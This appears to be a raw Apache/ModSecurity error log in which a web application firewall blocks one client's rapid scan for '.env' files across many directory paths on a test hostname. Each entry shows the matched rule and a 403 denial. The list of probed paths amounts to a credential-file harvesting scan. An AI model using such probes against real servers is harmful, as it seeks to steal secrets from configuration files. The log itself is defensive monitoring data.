[Thu Feb 26 01:03:15.982402 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizPAAAAAA&quot;]
[Thu Feb 26 01:03:15.982556 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizPAAAAAA&quot;]
[Thu Feb 26 01:03:16.008540 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/chatroom/chatroom-spa/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiDwAAAAE&quot;]
[Thu Feb 26 01:03:16.008796 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiDwAAAAE&quot;]
[Thu Feb 26 01:03:16.008955 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiDwAAAAE&quot;]
[Thu Feb 26 01:03:16.011889 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /routes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPQAAAAA&quot;]
[Thu Feb 26 01:03:16.012139 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPQAAAAA&quot;]
[Thu Feb 26 01:03:16.012289 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPQAAAAA&quot;]
[Thu Feb 26 01:03:16.043294 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /run/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPgAAAAA&quot;]
[Thu Feb 26 01:03:16.043582 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPgAAAAA&quot;]
[Thu Feb 26 01:03:16.043755 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPgAAAAA&quot;]
[Thu Feb 26 01:03:16.054562 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/docker/deploymentscripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEAAAAAE&quot;]
[Thu Feb 26 01:03:16.054831 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEAAAAAE&quot;]
[Thu Feb 26 01:03:16.054989 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEAAAAAE&quot;]
[Thu Feb 26 01:03:16.069372 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPwAAAAA&quot;]
[Thu Feb 26 01:03:16.069606 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPwAAAAA&quot;]
[Thu Feb 26 01:03:16.069754 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizPwAAAAA&quot;]
[Thu Feb 26 01:03:16.115170 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /script/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEgAAAAE&quot;]
[Thu Feb 26 01:03:16.115425 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEgAAAAE&quot;]
[Thu Feb 26 01:03:16.115593 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEgAAAAE&quot;]
[Thu Feb 26 01:03:16.116742 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/dao/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQAAAAAA&quot;]
[Thu Feb 26 01:03:16.116961 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQAAAAAA&quot;]
[Thu Feb 26 01:03:16.117107 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQAAAAAA&quot;]
[Thu Feb 26 01:03:16.139368 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s-with-me-front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQQAAAAA&quot;]
[Thu Feb 26 01:03:16.139586 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQQAAAAA&quot;]
[Thu Feb 26 01:03:16.139724 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQQAAAAA&quot;]
[Thu Feb 26 01:03:16.148037 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEwAAAAE&quot;]
[Thu Feb 26 01:03:16.148269 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEwAAAAE&quot;]
[Thu Feb 26 01:03:16.148428 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiEwAAAAE&quot;]
[Thu Feb 26 01:03:16.169959 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/fvt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiFAAAAAE&quot;]
[Thu Feb 26 01:03:16.170165 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiFAAAAAE&quot;]
[Thu Feb 26 01:03:16.170327 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiFAAAAAE&quot;]
[Thu Feb 26 01:03:16.195073 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizQwAAAAA&quot;]
